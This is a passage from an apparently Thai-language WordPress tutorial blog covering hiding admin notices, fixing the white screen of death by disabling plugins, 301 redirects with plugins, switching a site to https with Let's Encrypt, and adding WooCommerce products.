ก็เป็นอันปิดข้อความแจ้งเตือนนั้นอย่างถาวร ปลั๊๊กอินตัวนี้มีชื่อในรายการติดตั้งว่า  Webcraftic Disable Admin Notices Individually มีเมนูสำหรับเซตอยู่ที่ Settings->Hide admin notices Option ของการปิดการแจ้งเตือน ค่า default จะอยู่ที่ Only selected ซึ่งให้เราเลือกปิดการแจ้งเตือนเป็นตัวๆไป (ไม่มีปิดทุกการแจ้งเตือนของปลั๊กอินตัวนั้น) ซึ่งเป็น option ที่ยืดหยุ่นที่สุด All notices คือปิดการแจ้งเตือนทุกอย่างของทุกปลั๊กอินทุกธีม Don’t hide คือไม่ปิดการแจ้งเตือนใดๆเลย และไม่ขึ้นลิงค์ Hide notification forever ให้คลิก ใช้ option นี้ในกรณีที่คุณต้องการเปิดการแจ้งเตือนชั่วคราวด้วยเหตุผลบางอย่างโดยที่ไม่ต้องไป deactivate ปลั๊กอิน Enable hidden notices in adminbar ถ้าเซตเป็น On จะเอาการแจ้งเตือนทั้งหมดที่ถูกปิดมาแสดงไว้ที่ admin bar ด้านบนเพื่อสะดวกในการดู(ถ้าต้องการ)แทนที่จะขึ้นมาให้รกตาในตำแหน่งปกติ คุณอาจเลือกให้ notification ไปแสดงที่ admin bar แทน หรือถ้าเปลี่ยนใจอยากให้กลับไปโชว์ตำแหน่งเดิม(ที่รกตา)ก็คลิกที่ Restore notice Reset hidden notices คลิกปุ่มนี้จะเหมือนกับ restore notice แต่จะโชว์การแจ้งเตือนทุกๆตัวที่ปิดไว้ ปลั๊กอินตัวนี้มีโบนัสพิเศษให้คือแถทปลั๊กอินหลายตัวฟรี เกี่ยวกับ seo , การปิดฟังก์ชันที่ไม่จำเป็นบางอย่างของ WordPress เป็นต้น ปลั๊กอินที่ให้ติดตั้งฟรี ผมไม่ได้ลองใช้เพราะไม่ค่อยมั่นใจเท่าไหร่ หากใครอยากลองก็ลองโหลดมาติดตั้งดู แต่อย่าลองกับเว็บจริงจะดีกว่า ปลั๊กอินตัวนี้ยังไม่มีเวอร์ชัน pro และเสนอให้บริจาค 5 เหรียญก็คุ้มดี

WordPress ขึ้นหน้าขาว White screen

WordPress ขึ้นหน้าขาว White screen

จู่ๆที่หน้าเว็บไซต์ขึ้นหน้าขาวๆหรือที่ร้ายกว่านั้นขึ้นหน้าขาวที่ระบบหลังบ้านด้วยทำอะไรไม่ได้เลย ปัญหานี้เกิดขึ้นบ่อยๆและไม่ได้ให้ข้อมูลอะไรเลยนอกจากหน้าขาวๆ ปัญหาการขึ้นหน้าขาวที่หน้าเว็บไซต์หรือหลังเว็บไซต์เรียกว่า WordPress White Screen of Death แปลเป็นภาษาไทยก็ประมาณ“หน้าขาวแห่งความตาย”แต่คงไม่ถึงตาย มีปัญหาย่อมมีทางแก้ส่วนใหญ่เกิดจากโปรแกรมที่ทำงานร่วมกับ WordPress มีปัญหาโปรแกรมที่ว่าก็คือธีมกับปลั๊กอิน(โดยหลักการธีมก็คือโปรแกรมชนิดหนึ่ง) หากเราอัพเดท WordPress หรือธีมหรือปลั๊กอินเป็นเวอร์ชันล่าสุดแล้วตามหลักการก็ไม่น่ามีปัญหาเพราะปกติผู้พัฒนาโปรแกรมจะมีการทดสอบก่อนที่จะออกเวอร์ชันใหม่ให้อัพเดท ก่อนการอัพเดทคุณควรตรวจสอบก่อนว่าธีมหรือปลัั๊กอินนั้นทดสอบกับ WordPress เวอร์ชันที่คุณใช้อยู่หรือไม่(ซึ่งควรเป็นเวอร์ชั่นล่าสุด)แต่หากเราอัพเดพแล้วอาจใช้ไม่ได้ซึ่งต้องพิจารณาหาสาเหตุต่อไป ปัญหาจากธีม เป็นกรณีที่สังเกตได้ง่ายที่สุดเพราะหากเราเปลี่ยนธีมหรืออัพเดทธีมที่ใช้อยู่แล้วเกิดปัญหาก็แสดงว่าปัญหาอยู่ที่ธีมถ้าคุณยังเข้าหลังเว็บได้ให้ลองสลับไปใช้ธีมมาตรฐาน twenty seventeen ดูว่าปัญหาหน้าขาวหายไปหรือไม่ ถ้าหายแสดงว่าปัญหาอยู่ที่ธีม (แต่ก็ไม่จำเป็นเพราะปัญหาอาจมาจากตัวปลั๊กอินที่ไม่สามารถทำงานร่วมกับธีมเวอร์ชั่นนั้นก็ได้-อ่านหัวข้อถัดไป) แต่ถ้าไม่หายแสดงว่าปัญหาอาจมาจากตัวปลั๊กอินไม่ใช่ตัวธีม ก่อนที่จะเกิดปัญหาคุณอาจจะไปทำอะไรบางอย่างกับปลั๊กอินโดยไม่รู้ตัว ถ้าเข้าหลังเว็บแล้วเป็นหน้าขาวด้วยก็ให้อ่านหัวข้อถัดไป ปัญหาจากปลั๊กอิน เมื่อคุณเปิดใช้ปลั๊๊กอินสักตัวหนึ่งคุณได้อนุญาตให้ปลั๊กอินตัวนั้นเข้ามาใช้ทรัพยากรของเว็บไซต์ได้อย่างเต็มที่ ปลั๊กอินสามารถเข้ามาทำงานอะไรก็ได้้ตามที่ถูกโปรแกรมไว้และนี่คือตัวปัญหาบางครั้งปลั๊กอินหลายตัวที่คุณติดตั้งไปทำงานขัดกันเองหรือใช้ทรัพยากรของโฮสต์มากเกินไปหรือบางทีก็เข้าไม่ได้กับ WordPress เวอร์ชั่นที่คุณใช้ (ถึงแม้จะเป็นเวอร์ชั่นล่าสุดทั้งคู่ก็ตาม) หากเกิดเหตุการณ์เช่นนี้เว็บไซต์อาจจะล่มทั้งด้านหน้าและด้านหลังซึ่งการขึ้นหน้าขาวก็เป็นอาการอย่างหนึ่ง ต้องแน่ใจว่าปัญหาเกิดจากปลั๊กอิน ลองทบทวนดูว่าก่อนเกิดหน้าขาวคุณทำอะไรเกี่ยวกับปลั๊กอินไปบ้าง เช่นแก้ไข settingsหรือลงปลั๊กอินใหม่ ถ้าหน้าขาวเกิดขึ้นเฉพาะที่หน้าเว็บไซต์คุณยังเข้าด้านหลังเว็บได้ก็ค่อยอุ่นใจลองแก้ไข settings กลับไปที่เดิมหรือ deactivate ปลั๊กอินที่เพิ่งลงใหม่ (ที่คิดว่าเป็นตัวปัญหา) ถ้าหายแสดงว่าปลั๊กอินตัวนั้นมีปัญหาลอง deactivate และ activate กลับไปกลับมาถ้าเกิดหน้าขาวสลับไปสลับมาก็แสดงว่าเป็นปลั๊กอินตัวนั้นแน่นอน แต่ถ้าคุณเข้าด้านหลังเว็บไม่ได้อันนี้งานหนักหน่อย ถ้าคุณมีปลั๊กอินต้องสงสัยและต้องการ deactivate แต่คุณเข้าด้านหลังเว็บไม่ได้ก็ต้องใช้ file manager ใน direct admin ช่วยหรือใช้ FileZilla แล้วแต่สะดวก ลบปลั๊กอิน (อยู่ที่public_html/ wp-content / plugins) ต้องสงสัยออกซึ่งจะเป็นการ deactivate ปลั๊กอินตัวนั้นโดยอัตโนมัติ ลอง refresh ทั้งด้านหน้าและด้านหลังว่ายังขึ้นหน้าขาวอีกหรือไม่ ถ้ายังขึ้นอีกให้คุุณลองเดาว่าก่อนหน้านั้นยังมีปลั๊กอินตัวใดที่คุณเข้าไปยุ่งเกี่ยว(โดยเปลี่ยน settings หรือ update) ไล่ลบปลั๊กอินไปเรื่อยๆจนกระทั่งจะไม่เหลือปลั๊กอินเลยซึ่งโดยหลักการระบบของ WordPress สามารถทำงานได้แม้จะไม่มีปลั๊กอินสักตัว! ถ้าไม่มีปลั๊กอินเลยสักตัวแล้วยังขึ้นหน้าขาวเหมือนเดิมแสดงว่าปัญหาไม่ได้เกิดจากปลั๊กอิน การหาปลั๊กอินที่ทำให้เกิดปัญหา ถ้าคุณจำไม่ได้ว่าก่อนเกิดปัญหาคุณทำอะไรกับปลั๊กอินไปบ้างให้ลองเดาแล้วไล่ลบปลั๊กอินไปเรื่อยๆ สมมติว่าลบปลั๊กอินตัวหนึ่งแล้วปัญหาหน้าขาวหายไปที่ด้านหลังเว็บหายไปให้คุณติดตั้งปลั๊กอินตัวนั้นกลับเจ้าไปแล้ว activate-deactivate ดูว่าปัญหาหน้าขาวเกิดขึ้นกลับไปกลับมาหรือไม่ถ้าใช่ก็แสดงว่าปัญหาอาจจะมาจากปลั๊กอินตัวนั้น ที่ผมใช้คำว่า “อาจจะ”ก็เพราะว่าบางทีปัญหาอาจจะเกิดจากการทำงานร่วมกันของปลั๊กอินสองตัวเช่นปลั๊กอิน A ทำงานร่วมกับปลั๊กอิน B ไม่ได้แต่เราลบ B ก่อนแล้วหน้าขาวหายไปก็ไม่ได้แปลว่าปัญหาเกิดจาก B ตัวเดียวเพราะถ้าเราลบ A ก่อนก็จะได้ผลเหมือนกัน เมื่อเจอตัวปลั๊กอินที่เป็นปัญหา ถ้าการ settings บางอย่างของปลั๊กอินทำให้เกิดปัญหาหน้าขาวอันนี้สาหัสหน่อยเพราะระบบของ WordPress จะไม่ลบ settings ของปลั๊กอินหลังจากที่เรา deactivate หรือแม้แต่ delete ปลั๊กอินตัวนั้นไปก็ตาม เมื่อเราติดตั้งปลั๊กอินตัวเดิมอีกครั้งแล้ว activate มันก็จะยังคงใช้ settings อันเดิมอยู่ ปัญหานี้เกิดการโปรแกรมของปลั๊กอินเอง หากเป็นเวอร์ชันล่าสุดแล้วยังทำให้เกิดปัญหาก็จะเป็นการยากที่จะรีเซต settings ต่างๆของปลั๊กอินตัวนั้นกลับไปที่ default (ทำได้เหมือนกันแต่เป็นเรื่องทางเทคนิคที่ต้องไปหาตำแหน่งของ settings นี้ในฐานข้อมูลและต้องเป็นคนที่เคยแกะปลั๊กอินตัวนั้นมาก่อน) ซึ่งมีทางเลือกสองทางคือเปลี่ยนไปใช้ปลั๊กอินตัวอื่น แต่ถ้าเป็นไปไม่ได้เพราะงานของคุณผูกอยู่กับปลั๊กอินตัวนั้นไปเยอะแล้วอันนี้ก็คงต้องติดตั้ง WordPress ใหม่เพราะจะเป็นการล้างฐานข้อมูลเดิมออกแล้วก็ติดตั้งปลั๊กอินตัวเดิมกลับเข้าไปแล้วอย่าไปใช้ settings ที่มีปัญหาอีก ระวัง! ก่อนจะไล่ลบปลั๊กอินให้คุณจดรายการปลั๊กอินที่คุณใช้ไว้ก่อนและให้แน่ใจว่าคุณมีไฟล์ต้นฉบับของปลั๊กอินนั้นอยู่เพื่อที่คุณจะได้ติดตั้งเข้าไปใหม่เมื่อแก้ปัญหาได้แล้ว ข้อสังเกตวิธีที่ง่ายกว่าการลบปลั๊กอินก็คือใช้ file manager ใน direct admin หรือใน FileZilla เปลี่ยนชื่อโฟลเดอร์ของปลั๊กอินเป็นชื่ออื่นเช่น ถ้าเราคิดว่า Gutenberg เป็นปัญหาก็เปลี่ยนชื่อโฟลเดอร์เป็น _gutenberg หรือ gutenberg.old ก็เท่ากับว่าเราได้ deactivate ปลั๊กอินตัวนี้ แต่ที่ผมแนะนำให้ลบก็เพื่อเคลียร์ไฟล์ที่ไม่พึงประสงค์ที่อาจแฝงเข้ามาโดยเราไม่รู้ตัวแล้วทำให้เกิดปัญหาซึ่งจะทำให้มั่นใจได้มากขึ้น ตอนแรกคุณอาจจะใช้วิธีเปลี่ยนชื่อโฟลเดอร์ก่อนก็ได้ ปัญหาจากโฮสต์ที่คุณใช้ ธีมหรือปลั๊กอินที่มีฟีเจอร์หลายอย่างมักจะต้องการโฮสต์ที่มีการเซตค่าบางอย่างไว้สูงกว่าปกติเช่นจำนวนหน่วยความจำที่จัดสรรให้เว็บไซต์,เวอร์ชั่นต่ำสุดของ php ที่ใช้และการเซตบางอย่างเป็นพิเศษใน wp-config.php ของ WordPress ซึ่งโดยปกติธีมหรือปลั๊กอินมักจะมีเมนูเตือนให้เราเซตค่าต่างๆให้ได้ตามต้องการ บทความนี้ผมสมมติว่าคุณเกิดปัญหาจากการใช้ธีมหรือปลั๊กอินที่ไม่ได้กินทรัพยากรอะไรมาก สาเหตุจากกรณีนี้คงไม่เกิด แต่ถ้าคุณใช้ปลั๊กอินพิเศษคุณคงมีความรู้ทางด้านเทคนิคมากพอที่จะแก้ปัญหาได้ ผมจะไม่ลงรายละเอียดในกรณีนี้

เมื่อต้อง redirect WordPress url

เมื่อต้อง redirect WordPress url

เมื่อเราสร้างเพจหรือเขียนโพสต์ขึ้นมา แต่ละเพจหรือโพสต์นั้นจะมี url กำกับอยู่ซึ่งเริ่มต้นด้วยชื่อเว็บไซต์และตามด้วยที่อยู่ของเพจหรือโพสต์นั้น โดยปกติเราจะไม่เปลี่ยนแปลง url ที่ถูกสร้างขึ้นเพราะอาจถูกนำไปใช้ที่อื่นแล้ว เช่นการวางลิงค์ เป็นต้น แต่ถ้าเราเปลี่ยน url หล่ะ ? สำหรับ WordPress ส่วนต่อท้ายชื่อโดเมนท้ายสุดจะเรียกว่า slug เช่น https://webstyleapp.com/path/thispost คำว่า thispost ก็คือ slug ซึ่งก็คือรหัสที่ใช้แทนตัวโพสต์หรือเพจนั้นๆในระบบของ WordPress และเมื่อรวมเข้ากับโดเมนเนมและ path ก่อนหน้าก็จะกลายเป็นลิงค์ซึ่งเป็นตัวแทนของเพจหรือโพสต์นั้นในระบบ www หรืออินเตอร์เน็ต แต่ถ้าเราเปลี่ยนแปลง slug (thispost) หรือข้อความนำหน้า (path) อาจจะด้วยวัตถุประสงค์เพื่อให้มันอ่านแล้วมีความหมายหรือต้องการทำ SEO เท่ากับว่าเราเปลี่ยนลิงค์ของเพจหรือโพสต์นั้นๆไป ถ้าเรายังไม่นำ url นั้นไปใช้ก็ไม่มีปัญหา แต่ถ้า url นั้นถูกนำไปเผยแพร่แล้ว อย่างเช่นเรานำไปวางในโพสต์ใน facebook หรือที่เว็บอื่นๆ หรือ google ได้เข้ามาอ่านเพจหรือโพสต์ของเราและบันทึก url นั้นเข้าไปในระบบแล้ว เมื่อคนอื่นเห็นและคลิกเข้ามาดูก็จะไม่เจอเพจหรือโพสต์ของเรา เช่นตอนเราสร้างโพสต์(ที่เราเปลี่ยนส่วนใหญ่จะเป็นโพสต์) เราสร้าง url ชื่อ https://webstyleapp.com/path/thispost ต่อมาเราเปลี่ยนไปเป็น https://webstyleapp.com/path/those-post แล้วเราเอาลิงค์แรกไปวางในเว็บอื่นๆแล้ว หรือ google เข้ามาอ่านแล้วบันทึกไปในระบบของมันแล้ว เมื่อคนเห็นโพสต์นั้นและคลิกเข้ามาที่ลิงค์เดิมก็จะไม่เจอเพราะว่าถูกเปลี่ยนชื่อไปและขึ้นหน้ายอดนิยมว่า 404 error หน้า 404 เกิดจากลิงค์นั้นไม่มีแล้วหรือถูกเปลี่ยน url ไป Redirect คือทางแก้ ทางแก้ก็คือบอกเว็บของเราว่าถ้ามีการคลิกที่ลิงค์เดิมให้เสมือนกับว่าเป็นการคลิกที่ลิงค์ใหม่ ขั้นตอนนี้เรียกว่า redirection หรือเปลี่ยนทิศทางจากลิงค์เดิมไปยังลิงค์ใหม่ การแก้ปัญหานี้เป็นเรื่องทางเทคนิค ที่จะต้องมีการใส่รหัสเข้าไปในไฟล์ๆหนึ่งในระบบเว็บของเราที่ชื่อว่า .htaccess เสมือนกับแผนที่ที่บอกว่าถ้ามีลิงค์นี้เข้าให้ส่งลิงค์นั้นไปแทน แต่สำหรับเราผู้ใช้ WordPress (ก็อีกตามเคย) ไม่ต้องไปยุ่งกับเรื่องทางเทคนิคเหล่านั้น มีปลั๊กอินให้บริการสำหรับการนี้ แต่ก็มีข้อเสียอยู่หน่อยว่ามันจะ delay หรือช้าสักเล็กน้อย(จริงๆเราแทบสังเกตไม่ได้)เมื่อเทียบกับการแก้ที่ .htaccess โดยตรง ถ้าจำนวนการ redirect มีไม่มากก็ไม่ต้องซีเรียสครับ แต่ถ้ามากอย่างเช่นเป็นการเปลี่ยนโครงสร้างของ url ของเว็บเราทั้งหมดและเรามีหลายโพสต์หลายเพจแล้วหล่ะก็คงต้องใช้วิธีการทางเทคนิค ใช้ปลั๊กอินจะอืด ขั้นตอนการเปลี่ยนลิงค์นี้มีชื่อเป็นภาษาเทคนิคว่า 301 Redirection ซึ่งหมายถึงการเปลี่ยนลิงค์จากลิงค์เก่าไปลิงค์ใหม่แบบถาวร (1) ปลั๊กอินที่ง่ายที่สุด Simple 301 Redirects ตัวแรกที่ผมจะแนะนำก็คือ Simple 301 Redirects เพราะเป็นตัวที่ง่ายที่สุด ไม่มีอะไรให้เซต ตรงไปตรงมา เมื่อติดตั้งเสร็จเมนูของปลั๊กอินตัวนี้จะอยู่ใน Settings -> 301 Redirects เพียงแต่ใส่ url เดิมกับ url ใหม่ เท่านั้น การใช้ก็แสนง่าย เราเพียงแต่ใส่ url เดิมในช่องซ้ายและใส่ url ใหม่ในช่องขวา โดยไม่ต้องใส่โดเมนเนม เช่นบรรทัดแรกหมายถึง http://yourweb.com/สอน-wordpress/พื้นฐาน/ติดตั้งฟอนต์-1/ ทางขวาหมายถึง http://yourweb.com/ติดตั้งฟอนต์-1/ กดปุ่ม Save Changes ก็เป็นอันเรียบร้อย ถัดจากนี้ถ้าใครคลิกที่ลิงค์ทางซ้ายจากเว็บใดก็ตามที่มีลิงค์นี้ไปแปะอยู่ ก็จะถูกเปลี่ยนหรือ redirect ลิงค์ทางขวาโดยอัตโนมัติ ข้อดีอีกอันหนึ่งของปลั๊กอินตัวนี้คือใช้ได้กับเว็บที่เป็น https ได้โดยไม่ต้องเซตอะไรเพิ่มเติม (2) ปลั๊กอิน Redirection ความเก่งอีกระดับ ถ้าคุณมีงานที่ต้องทำมากกว่าการ redirect ลิงค์เก่าไปลิงค์ใหม่ เช่นต้องการดูประวัติการ redirect และไม่ซีเรียสกับประสิทธิภาพในการ redirect จนถึงขั้นที่ต้องไปเรียนรู้การเซตที่ .htaccess มีปลั๊กอินอีกระดับหนึ่งให้ใช้ครับคือ Redirection เมื่อติดตั้งแล้วเมนูของปลั๊กอินนี้จะอยู่ที่ Tools -> Redirection การใส่ลิงค์ (url) จริงๆจะใช้ตัวอย่างเดียวกับข้างต้นก็ได้ แต่ขอยกตัวอย่างใหม่แล้วกัน สมมติว่าคุณมีลิงค์เดิมที่ชื่อ https://yourweb.com/การโฆษณา-facebook เผยแพร่ไปแล้ว ปรากฏใน google แล้ว แต่คุณเกิดเปลี่ยนใจต้องการเปลี่ยนเป็น https://yourweb.com/การทำ-ad-set เพราะตรงกับเนื้อหาข้างในมากกว่าและหวังผลทาง SEO การเซตลิงค์ต้นทางและปลายทาง ในแท็บ Redirects ช่อง Add new redirection ข้างล่าง ช่อง Source URL ให้ใส่ slug เดิมโดยไม่ต้องใส่โดเมนเนม ช่อง Target URL ให้ใส่ url…

การเปลี่ยน http to https

การเปลี่ยน http to https

เดี๋ยวนี้คุณจะเห็นว่าเว็บไซต์ขึ้นต้นด้วยคำว่า https มากขึ้น จากที่เคยคุ้นตาแค่ http (ไม่มี s) https เป็นแบบที่ปกป้องข้อมูลที่ผู้ใช้เว็บไซต์กรอกให้กับเว็บที่มีแบบฟอร์ม ปกติจะจำเป็นกับเว็บที่ทำธุรกรรมที่สำคัญเช่นการกรอกข้อมูลบัตรเครดิตหรือข้อมูลส่วนตัวที่มีความสำคัญ แต่เว็บทั่วไปก็นิยมนำมาใช้เพื่อเพิ่มความน่าเชื่อถือ ปกติถ้าคุณไม่ได้ทำเว็บอีคอมเมิร์ซหรือต้องมีแบบฟอร์มที่ผู้ใช้ต้องกรอกข้อมูลแล้วทำกระบวนการที่สำคัญผ่านเว็บไซต์ เช่นเว็บไซต์ที่เป็น blog เพียงอย่างเดียว การเป็น https ก็ไม่ใช่เรื่องสำคัญ เพราะจะทำให้เพิ่มขั้นตอนการสื่อสารระหว่างเบราเซอร์กับเว็บของเรา(ที่โฮสต์)โดยไม่จำเป็น แต่ด้วยประสิทธิภาพของคอมพิวเตอร์ที่มากขึ้นกับเน็ตที่เร็วขึ้นข้อด้อยในเรื่องนี้จึงไม่เป็นอุปสรรค ปัจจุบันเว็บธรรมดาจึงนิยมทำเป็น https มากขึ้นเพื่อเพิ่มความน่าเชื่อถือ(แม้ว่าบางเว็บอาจจะดูไม่จำเป็น) แต่ถ้าคุณอยากจะทำ ก็ไม่ยาก อีกเหตุผลหนึ่งคือคุณอาจเคยได้ยินมาว่า google หรือ search engine ต่างๆจะให้ความสำคัญกับเว็บที่เป็น https มากกว่า http ดังนั้นการเปลี่ยนเป็น https ก็จะเป็นทิศทางที่เหมาะสม ภาษาเทคนิคเรียกว่าทำ SSL การเปลี่ยนจาก http ไปเป็น https ภาษาเทคนิคเรียกว่าเป็นการทำ SSL (Secure Sockets Layer) คือการเพิ่มชั้นความปลอดภัยเข้าไปในขั้นตอนการสื่อสารระหว่างเบราเซอร์กับเว็บ(ที่โฮสต์) ซึ่งจะต้องอาศัยการเซตทั้งสองฝั่งคือทางฝั่งเว็บของเรากับฝั่งเครื่องแม่-server (โฮสต์ซึ่งเก็บเว็บของเรา) ทางฝั่งเว็บก็คือการทำที่ตัว WordPress ทางฝั่งเครื่องแม่ก็คือการเซตระบบให้รองรับ SSL คุณไม่ต้องกังวลไปกับคำว่า SSL พอพูดถึงคำนี้ขอให้นึกถึงว่ามันคืออะไรก็ตามที่ทำให้เว็บของคุณสามารถเปลี่ยนจาก http ไปเป็น https การเซต SSL ทางฝั่งเครื่องแม่-server อันนี้คุณต้องติดต่อกับโฮสต์ที่คุณใช้บริการว่าต้องเสียค่าบริการเพิ่มไหมหากคุณต้องการเปลี่ยนจาก http ไปเป็น https ในปัจจุบันโฮสต์ทั่วไปจะให้บริการ SSL ฟรีโดยไม่เสียค่าบริการเพิ่ม ซึ่งเป็นผลมาจากมีผู้ให้บริการในต่างประเทศเปิดให้บริการ SSL ฟรีเช่น Let’s Encrypt ซึ่งมีรายได้จากเงินบริจาคมาทำเป็น SSL ให้เราได้ใช้ฟรีกัน แต่เราไม่ได้ใช้โดยตรงเราต้องใช้ผ่านโฮสต์ที่เราเช่าอยู่ซึ่งทางเขาจะต้องติดตั้งระบบ SSL นี้เอาไว้ ปัจจุบันมีโฮสต์หลายแห่งใช้ SSL ฟรีตัวนี้อยู่ ขอให้คุณลองสอบถามจากโฮสต์ของคุณดู ซึ่งโดยปกติเมื่อเราเริ่มใช้บริการเขาจะเซตให้เว็บเราเป็น http แต่ถ้าหากเราต้องการเป็น https ก็แจ้งให้เขาช่วยทำให้ (ส่วนใหญ่เขาจะเซตให้ก็ต่อเมื่อเราต้องการ) ก็เป็นอันเสร็จขั้นตอนการเซต SSL ทางฝั่ง server หรือโฮสต์ แต่ถ้าคุณอยากจะลองเซตเองโดยไม่ต้องให้ทางโฮสต์ทำให้ ก็ทำได้ครับ (เช่นคุณมีหลายโดเมนเปลี่ยนไปเปลี่ยนมาอะไรทำนองนี้ แล้วไม่อยากเสียเวลาติดต่อกับเจ้าหน้าที่ของโฮสต์) ก่อนอื่นคุณต้องสอบถามทางโฮสต์ให้แน่ใจก่อนว่ามี Let’s Enscrypt ให้ใช้ ให้คุณเข้า DirectAdmin ผ่าน http://yourweb.com:2222 แล้วคลิก SSL Certificates ภายใน DirectAdmin จะมีลิงค์สำหรับเซต SSL Certificates แล้วให้คุณคลิกตามรูป ช่อง Common Name ปกติจะขึ้นชื่อโดเมนของเรา ในช่อง Key Size (bits) ปกติจะเป็น 4096 บางเว็บอาจใช้ 2048 (คุณต้องสอบถามจากโฮสต์) ในช่อง Let’s Encrypt Certificate Entries ซึ่งปกติจะคลิกถูกให้ที่ www.yoursite.com กับ yoursite.com โดยอัตโนมัติ เซต SSL Certificates ด้วย Let’s Encrypt เลือก Free & automatic …. กดปุ่ม Save แล้วจะเห็นข้อความทำนองนี้ ก็เป็นอันเสร็จในฝั่งของโฮสต์หรือ server ข้อความตอบกลับเมื่อสามารถเซต SSL Certificates การเซต SSL ที่เว็บของเรา ในทางเทคนิค เราต้องแก้ไขไฟล์ .htaccess และไฟล์ wp-config.php ของ WordPress เพื่อให้รองรับ SSL และเช่นเคยสำหรับ WordPress มีผู้ทำปลั๊กอินช่วยให้ไม่ต้องไม่ยุ่งยากกับเรืื่องทางเทคนิค ปลั๊กอินนั้นคือ Really Simple SSL เมื่อติดตั้งแล้วก็ไม่ต้องเซตอะไรจะปรากฏข้อความต่อไปนี้ที่หน้าเพจ Plugins ปลั๊กอินจะแสดงข้อความและมีปุ่มเดียวที่ใช้เซต กดปุ่ม Go ahead, activate SSL! แล้วปลั๊กอินจะเซตเว็บของเราให้เป็น https โดยอัตโนมัติ เมื่อคุณไปดูที่หน้า Settings -> General จะเห็นว่า http ถูกเปลี่ยนไปเป็น https ให้เอง แต่ไม่ใช่ว่าปลั๊กอินแค่ไปเปลี่ยนตรงนี้นะครับ…

ใส่  product ลงใน WooCommerce

ใส่ product ลงใน WooCommerce

สองตอนที่แล้วผมคิดว่าคุณคงเริ่มติดตั้งและมองเห็นภาพคร่าวๆของ WooCommerce กันแล้วนะครับ รายละเอียดอื่นๆยังไม่ต้องไปยุ่งกันตอนนี้ ทำตามไปเรื่อยๆครับ ต้องการปลั๊กอินอะไรเพิ่มเติมผมจะแนะนำคุณเมื่อถึงเวลา ทำไปเรียนไปพร้อมกันได้เลยครับ อ่อ อีกอย่างคุณไม่ต้องไปกังวลกับเรื่องธีมมาก คุณใช้ธีมอะไรก็ได้ที่อยู่ในหมวด eCommerce ซึ่งธีมรุ่นใหม่จะใช้ได้กับ WooCommerce เสียเป็นส่วนใหญ่ ตอนนี้ธีมไม่ใช่เรื่องสำคัญนะครับ ความเข้าใจขั้นตอนพื้นฐานของ WooCommerce สำคัญกว่า ผมไม่อยากให้คุณไปติดอยู่กับธีมที่หรูหรา(หมายถึงธีมซื้อ) เพราะจะทำให้คุณเสียสมาธิไปกับการทำความเข้าใจกับธีมนั้นมากกว่าทำความเข้าใจกับ WooCommerce ครับ ตอน Add Themes ให้คุณหาธีมจากคีย์เวอร์ด ecommerce (lite) หรือ shop (lite) อะไรทำนองนี้มาสักตัวครับ (คำว่า lite หมายถึงธีมที่มีเครื่องเคราไม่เยอะมาก เหมาะกับคนที่ถนัด customize) ธีมที่ผมจะใช้ในบทความนี้คือ Easy Shop ครับ เป็นธีมสำหรับ WooCommerce แบบพื้นๆ (ถ้าคุณใช้ธีมอะไรอยู่ก็ไม่ต้องเปลี่ยนครับ โดยหลักการแล้วใช้ได้เหมือนกัน) Easy Shop รายละเอียดการ customize ธีมนี้ยังไม่ต้องไปสนใจ จริงๆก็ไม่มีอะไรให้เซตมาก ตอนนี้เรามาเริ่มใส่ข้อมูลสินค้ากันเลยครับ เริ่มจากการใส่หมวดหมู่สินค้า Category ที่ผมแนะนำให้เริ่มจากตรงนี้ก็เพราะว่าก่อนที่คุณจะเปิดร้านออนไลน์ สิ่งที่สำคัญก็คือตัวข้อมูลสินค้า แต่ที่สำคัญไม่แพ้กันก็คือ  “หมวดหมู่ของสินค้า” ซึ่งเป็นการบ้านข้อแรกที่คุณจะต้องทำก่อนที่จะเปิดร้านออนไลน์ ในร้านค้าของผม สมมติว่าผมขายทุกอย่าง ผมได้ข้อสรุปแล้วว่าผมมีสินค้าที่จะขายอยู่  8 หมวดครับ ตัวอย่างหมวดหมู่สินค้า เซตตามหมวดหมู่จริงของร้านคุณ สิ่งแรกที่ต้องทำคือเอาหมวดสินค้าทั้งหมดไปใส่ใน Products -> Categories ซึ่งจะใส่เหมือนๆกับคุณใส่ประเภทของ post นั่นแหละครับ แบบเดียวกันเลย ใส่ข้อมูลกำกับให้กับสินค้าแต่ละประเภท สินค้าแต่ละประเภทจะมีธรรมชาติไม่เหมือนกันใช่ไหมครับ อย่างเช่น เสื้อเชิ๊ตกับชุดว่ายน้ำจะมีไซส์ S, M, L หรือหนังก็จะมีประเภทเป็น ไซไฟ, หนังรัก, สยองขวัญ เป็นต้น ข้อมูลที่กำกับไปกับสินค้าแต่บะหมมวดนี้เรียกว่า Attribute ครับ (ขอทับศัพท์นะครับ) ซึ่งจะต้องเตรียมไว้ก่อนแล้วจึงนำไปใส่ในเมนู Products -> Attributes การใส่ก็เหมือนกับใส่ category ส่วน attributes ใดจะไปผูกอยู่กับหมวดหมู่อะไรนั้นเราจะไปทำกับข้อมูลสินค้านั้นๆครับ ในตอนนี้ผมจะใส่ attribute แค่สามตัวตามนี้ครับ ตัวอย่างการเซต attributes หรือข้อมูลกำกับสินค้า ซึ่งจะใช้กับสินค้าบางหมวดหมู่ ตามรูปตัวอย่างผมสร้าง attribute ชื่อ “ประเภทหนัง” ให้มีข้อมูลอยู่สามตัวคือ รักโรแมนติค, สยองขวัญ และ ไซไฟ และ attribute ชื่อ “ขนาดสินค้า” กับ “ขนาดสวมใส่” ข้อมูลที่ใส่ก็ตามรูปนะครับ ข้อมูลกำกับสินค้าหรือ attribute นี้เราไปตั้งตอนที่เราใส่ข้อมูลสินค้าก็ได้ครับ แต่ผมแนะนำให้คุณวางแผนล่วงหน้าและใส่ในตรงนี้ตั้งแต่ต้นจะดีกว่า เพราะจะทำให้ดูเป็นระบบมากกว่า เริ่มใส่ข้อมูลสินค้า คราวนี้มาเข้าที่ข้อมูลสินค้ากันเลยครับ Products -> Add New ทำเหมือนเขียนโพสต์ครับ ไตเติ้ลก็คือชื่อสินค้า และเนื้อหาก็คือรายละเอียดสินค้า ต่างกับโพสต์ตรงที่ในหน้าเขียน product จะมีช่องให้ใส่ข้อมูลมากขึ้น เช่น ราคา ส่วนลด รวมทั้ง attribute ที่กล่าวถึงก่อนหน้า สินค้าคล้ายกับโพสต์ๆหนึ่ง ใส่ title, content และ category เหมือนกัน ในช่องถัดไปก็คือช่องสำหรับใส่ข้อมูลอื่นๆครับ ใส่ราคาและส่วนลด ข้อมูลประกอบสินค้าจะถูกจัดหมวดหมู่ไว้เป็นแท็ปครับ ให้คุณลองคลิกตรง Product Data จะสังเกตเห็นว่าแท็ปเปลี่ยนไป อันนี้เขาทำไว้ไม่ให้รกตา 